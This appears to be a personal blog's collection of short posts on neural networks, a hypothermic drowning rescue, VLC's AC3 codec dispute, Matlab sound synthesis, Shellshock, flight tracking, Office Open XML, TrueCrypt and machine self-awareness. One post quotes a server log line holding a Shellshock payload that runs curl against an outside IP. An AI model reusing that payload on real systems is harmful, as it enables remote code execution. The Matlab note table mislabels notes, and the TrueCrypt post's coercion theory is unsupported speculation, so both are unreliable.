笔记

搜索神经网络的最新进展,看到wiki上说:

Between 2009 and 2012, the recurrent neural networks and deep feedforward neural networks developed in the research group of Jürgen Schmidhuber at the Swiss AI Lab IDSIA have won eight international competitions in pattern recognition and machine learning.[12][13] For example, the bi-directional and multi-dimensional long short term memory (LSTM)[14][15][16][17] of Alex Graves et al. won three competitions in connected handwriting recognition at the 2009 International Conference on Document Analysis and Recognition (ICDAR), without any prior knowledge about the three different languages to be learned.

http://en.wikipedia.org/wiki/Artificial_neural_network#Improvements_since_2006

赶快搜索了Jürgen Schmidhuber,然后看了一些视频,居然又联系到了Kolmogorov complexity,深度学习,可计算宇宙,智能,创造力,以及Gödel。。。。现在脑子还是一团浆糊,不过隐隐感觉到Jürgen可能会改变历史。。。。至少他的演讲很有趣:

心肺停止的紧急救治

早上听BBC Reith Lecture,Doctor Atul Gawande提到一个紧急救治的案例:奥地利一个三岁的小女孩在跟父母散步的时候跑到结冰的池塘上,然后落入开裂的冰面了。父母紧跟过去,但是也只是在30分钟之后才找到她。把她打捞上来时她已经完全失去知觉了——体温非常低,没有呼吸,没有心跳,瞳孔散开,对光线没有反应。

Consider a case report in The Annals of Thoracic Surgery of a three-year-old girl who fell into an icy fishpond in a small Austrian town in the Alps. She was lost beneath the surface for thirty minutes before her parents found her on the pond bottom and pulled her up. Following instructions from an emergency physician on the phone, they began cardiopulmonary resuscitation. A rescue team arrived eight minutes later. The girl had a body temperature of sixty-six degrees, and no pulse. Her pupils were dilated and did not react to light, indicating that her brain was no longer working.

但是救助团队坚持继续救治:

But the emergency technicians continued CPR anyway. A helicopter took her to a nearby hospital, where she was wheeled directly to an operating room. A surgical team put her on a heart-lung bypass machine. Between the transport time and the time it took to plug the inflow and outflow lines into the femoral vessels of her right leg, she had been lifeless for an hour and a half. By the two-hour mark, however, her body temperature had risen almost ten degrees, and her heart began to beat. It was her first organ to come back.

After six hours, her core temperature reached 98.6 degrees. The team tried to put her on a breathing machine, but the pond water had damaged her lungs too severely for oxygen to reach her blood. So they switched her to an artificial-lung system known as ECMO—extracorporeal membrane oxygenation. The surgeons opened her chest down the middle with a power saw and sewed lines to and from the ECMO unit into her aorta and her beating heart. The team moved the girl into intensive care, with her chest still open and covered with plastic foil. A day later, her lungs had recovered sufficiently for the team to switch her from ECMO to a mechanical ventilator and close her chest. Over the next two days, all her organs recovered except her brain. A CT scan showed global brain swelling, which is a sign of diffuse damage, but no actual dead zones. So the team drilled a hole into the girl’s skull, threaded in a probe to monitor her cerebral pressure, and kept that pressure tightly controlled by constantly adjusting her fluids and medications. For more than a week, she lay comatose. Then, slowly, she came back to life.

First, her pupils started to react to light. Next, she began to breathe on her own. And, one day, she simply awoke. Two weeks after her accident, she went home. Her right leg and left arm were partially paralyzed. Her speech was thick and slurry. But by age five, after extensive outpatient therapy, she had recovered her faculties completely. She was like any little girl again.

from: http://www.newyorker.com/magazine/2007/12/10/the-checklist

我就搜索了一下,这样的案例还不止一例,还有更有名的:

http://en.wikipedia.org/wiki/Anna_B%C3%A5genholm

大概看了一下,有几个要点:

  • 坚持CPR非常重要
  • 体温低,这使得各脏器,尤其是大脑不必消耗太多氧气,这样即使呼吸停止,脏器和大脑也不会被破坏;
  • 救治过程首先上体外循环机,逐步升高体温(体温升高太快会破坏红细胞)。心脏恢复搏动则循环系统恢复;
  • 然后上人工肺和呼吸机,确保氧能够进入循环系统;
  • 心肺都恢复之后可以恢复其他脏器;
  • 大脑没有因为缺氧而坏死,恢复的希望也很大,只是需要时间。

所以,其实冬天落水比夏天落水存活概率更高。只是不知道这次“东方之星”的救助能不能从中得到启发。。。

 

VLC player on iPad rendered useless

I’ve been using VLC player on all my computers, desktop or laptop, Android or iOS. It just works.

However, one day last week, when I try to play a new movie I copied to my iPad, I got an error message like this:

IMG_0813

And there’s no sound for this file. Well, it could be just a broken file, so I didn’t really look into it, till the next day I found that virtually all my video files have this issue.

Yesterday I had some time and a Google search revealed that this is actually a patent issue:

https://forum.videolan.org/viewtopic.php?t=125032

To put it simple, the audio codec AC3 is a patent of Dolby Digital, who demands license fee for decoding AC3 encoded videos and complained to Apple that VLC player for iPad violated patent law. Apple removed VLC player for iPad from App Store. In order to bring VLC player for iPad back to App Store, Video Lan had to remove the code that decoding AC3 audio.

Now, if you upgrade to this new version, you loose the ability to decode any AC3 encoded videos.

According to VLC forum, the team is still in communication with Dolby. There’s information showing that Dolby demands 2,000,000 USD. That would be too much for a small company like Video Lan.

Right now Video Lan is considering to put this AC3-decoding ability as a in-App purchasing item. However, there’s no timeline so far.

That’s very unfortunate for VLC. It’s a very crappy situation for me personall – with more than 60G of video, most of them now unwatchable. If you’re still use VLC 2.3.0, maybe it’s a good idea not to upgrade it to the latest version for this moment.

composing using Matlab – part 1

I have been attempted to do this for a long time, but only now I have some time to actually try it out. As it turned out, to have Matlab playing music is relatively easy, to have Matlab playing appealing music is way harder than I have imagined.

The core part is this Matlab function:

sound(v);

This function takes a vector and simply output it to the audio device in sequence. Values in the vector is the relative amplitude. Values larger than 1 will be ignored.

The default sample rate is 8000, so you’ll need 8000 data point to get 1 second of sound. If we want higher sample rate, then have to play the vector at a higher sample rate:

sound(v,16000);

Now, it’s very easy to generate such a vector:

First, generate a vector that represents time points:

tp=0:1/16000:0.5;
v=sin(440*2*pi*tp);

The first line generates a vector of 0.5*16000 values. That is 0.5 seconds in 16000 sample rate. The second line generates a sine wave of 440Hz for 0.5 seconds.

440Hz is A4. 12 half tones double the frequency. From C4 to A4 is 9 half tones. So C4 is 440*2^(-9/12)Hz. So for a simple C4 to C5, here’s the frequencies:

σ=2^(1/12)

Note Numbered Notation Frequency
C 1 440*σ^-9
C# 440*σ^-8
D 2 440*σ^-7
D# 440*σ^-6
E 3 440*σ^-5
F 4 440*σ^-4
F# 440*σ^-3
B 5 440*σ^-2
B# 440*σ^-1
A 6 440
A# 440*σ
G 7 440*σ^2
C i 440*σ^3

So we can simply do this:

n1=sin(440*2^(-9/12)*2*pi*tp);         % C
n2=sin(440*2^(-9/12)*2*pi*tp);         % C
n3=sin(440*2^(-2/12)*2*pi*tp);         % B
n4=sin(440*2^(-2/12)*2*pi*tp);         % B
n5=sin(440*2^(0/12)*2*pi*tp);          % A
n6=sin(440*2^(0/12)*2*pi*tp);          % A
n7=sin(440*2^(-2/12)*2*pi*tp);         % B
sound(n1,16000);
sound(n2,16000);
sound(n3,16000);
sound(n4,16000);
sound(n5,16000);
sound(n6,16000);
sound(n7,16000);

This gives us “twinkle twinkle little star”. Here I output the audio into .wav file:

wavwrite([n1,n2,n3,n4,n5,n6,n7],16000,'c:\twinkle.wav');

Easy, right?

On hearing it, you notice that, it sounds very uncomfortable, and there’s no variation of amplitude within one note.

The problem is, I’m using “pure tone” here. Real instruments generate sound with a very rich composition of different frequency, phase and amplitude, that we haven’t take into consideration here. Next post I’ll try to mimic the sound generated by a hitting a key on a piano.

Targeted after 3 days

176.102.38.77 - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl http://176.102.38.77/search/e.php?h=<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I’m not sure it’s because of poor funding or something else.

Maybe it’s a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Time for ConnectedFlight?

Black Thursday for air lines? Last Thursday, MH-17, yes Malaysia Airline again, was shot down. This Thursday, AH-5017, Algeria Airline, crashed in Mali.

These incidents happened only 4 month after the disappearing of MH-370, for which no one has a clue yet.

Only after MH-370 did people realize that modern air plane is not so modern after all. Inter-continental air plane cruise above oceans are more like ballistic rocket than guided missile.

Actually not all air lines are that primitive. I’ve tried the WIFI service on Emrite’s A380, it’s rather decent. So technically this shouldn’t be a issue. For tracking the position of the air plane, something 16kbps should be enough for each plane. Let’s say at any time there are 50,000 air planes on the sky, we need a 800Mbps satellite link – hmm, shouldn’t be so difficult to get. If I remember correctly, one satellite can typically provide 1Gbps.

With this “ConnectedFlight”, at least I’ll know the position if a air plane disappears. Should I register this trade mark now? 🙂

Office Open XML小试

尝试了一下微软的Office Open XML,发现功能是挺全面了,很多之前用Word宏实现的自动化操作,可以用Office Open XML实现了,微软的Office总算在开放性方面迈出了一大步。

顺便仔细看了一下docx的实现,这xml可是够复杂的,不知道为什么微软要设计成这样样子:-(。

即使使用Office Open XML,要想插入一个脚注格式,需要增加三层xml elements:

XmlElement element1 = xd1.CreateElement(“w”, “r”, Class1.namespaceURI);
XmlElement element2 = xd1.CreateElement(“w”, “rPr”, Class1.namespaceURI);
XmlElement element3 = xd1.CreateElement(“w”, “vertAlign”, Class1.namespaceURI);
element3.SetAttribute(“val”, Class1.namespaceURI, “superscript”);
element2.AppendChild((XmlNode) element3);
element1.AppendChild((XmlNode) element2);

这三个元素分别是run,就是一段格式一致的文字;rPr是run property,代表这一段文字的格式属性集合;vertAlign就是Vertical Alignment垂直方向的对齐属性。。。

有时间考虑用Linux + Mono处理word文件,就比Windows灵巧的多了。

Wow, what happened to TrueCrypt?

I heard about this last week but didn’t have time to check it out. I can’t believe it’s so drama!

I’m a regular user of TrueCrypt, but I don’t visit its website.  I’ve never had to ask anything for support. It just works.

Now this is what on their website:

 

truecrypt_website_after_may

REALLY?!

The only explanation that makes sense to me is: The developers were forced to (by threatening or beating) abandon this great software. Why? Because it’s so good that some secrete agency simple cannot break into a TrueCrypt encrypted disk.

Now have all the reason to continue using TrueCrypt!

building self-aware device – part 1

The canonical way to tell whether an animal (or anything) is self-aware is the mirror-test. Put it in front of a mirror, if the animal recognize itself, then it’s self-aware; otherwise it’s not.

But then what exactly is self-awareness? What exactly does the mirror-test test? Can we make self-aware machines? I was pondering on this because I recently realized that vehicles (or in general any device) are considered dumb not only because they have no intelligence, but also because they are not self-aware.

Take a car for example, it’s considered dumb not only because it cannot make any intelligent decision on itself, but also because it will do things that are obviously against it’s own best interest as long as that’s the command from a human being. Would it be interesting if we can build a car that cares itself and avoids crashes and collisions out of its own interests?

Back to the mirror test. Essentially the test tests the ability of an animal to recognize oneself through visual signal of optical reflection. Let’s try to break it down by replacing non-essential part.

First of all,  it seems that there’s no obvious reason we should limit ourselves to visual signal. It’s just one form of signal that a lot of animals can sense easily. A lot of other animals rely on other sensors. For example, bats are known to be able to tell its own ultra sound signal from others. If we’re not limited to visual reflection, then recognizing oneself through reflected/echoed signal is not that difficult. For example, if an device could simply broadcast its own identity through ultra sound like a bat.

We can build a device that broadcast its own identity through ultra-sound, let’s say the identity has a form of a GUID. Now, our device will be able to tell its own signal apart from other signals. Is that enough to be self-aware?

Most cars manufactured nowadays have more than one ultra sound radar built in. They beep when they sense the danger of crashing into something. It seems that it kind of self-aware, but not quite, right?

We have to take a closer look at the mirror test. When a self-aware animal first sees itself through a mirror, it has no prior knowledge about its own appearance in the mirror. Then how exactly does it come to the conclusion that the object inside the mirror is a visual representation of himself? The only possibility is, the animal actually learns that by experimenting.

Wikipedia actually has a full description of the mirror test being conducted the first time:

In 1970, Gordon Gallup, Jr., experimentally investigated the possibility of self
-recognition with two male and two female wild pre-adolescent chimpanzees (Pan
troglodytes), none of which had presumably seen a mirror previously. Each chimpanzee
was put into a room by itself for two days. Next, a full-length mirror was placed in
the room for a total of 80 hours at periodically decreasing distances. A multitude
of behaviors were recorded upon introducing the mirrors to the chimpanzees. Initially,
the chimpanzees made threatening gestures at their own images, ostensibly seeing their
own reflections as threatening. Eventually, the chimps used their own reflections for
self-directed responding behaviors, such as grooming parts of their body previously
not observed without a mirror, picking their noses, making faces, and blowing bubbles
at their own reflections.

From this description it’s obvious that the recognition is a learning process. This observation has several implications:

First of all, because it’s a learning process. It’s very flexible, very adaptive. The animal doesn’t have to stand still in front of a mirror to recognize itself. Even the physical appearance later changes dramatically, the animal will be able to recognize himself again very quickly.

In contract, if a device just broadcast our own identity, then in a noisy environment, then it may have difficulties. Or, if for some reason we have to change the identity, then we also have to change the verification logic.

Secondly, indeed we don’t have to limit ourselves to visual reflection. Voice will also do. Touching will also do. In fact, people that are born to be blind are able to recognize themselves by other senses. And we don’t think they are not self-ware.

Last, a very subtle prerequisite of such a learning process is, the animal has to know its own properties and boundary. Otherwise, the animal won’t be able to know a waving arm is its own or not (with or without a mirror). Every animal knows it’s own properties and boundary (This is my fur, this is my claw, etc),  if we’re trying to design devices to be self-aware, we have to build this capability as well.

So by now I think we can define self-awareness as:

  1. Knows ones own properties and boundary;
  2. Able to learn ones own identity from experiments;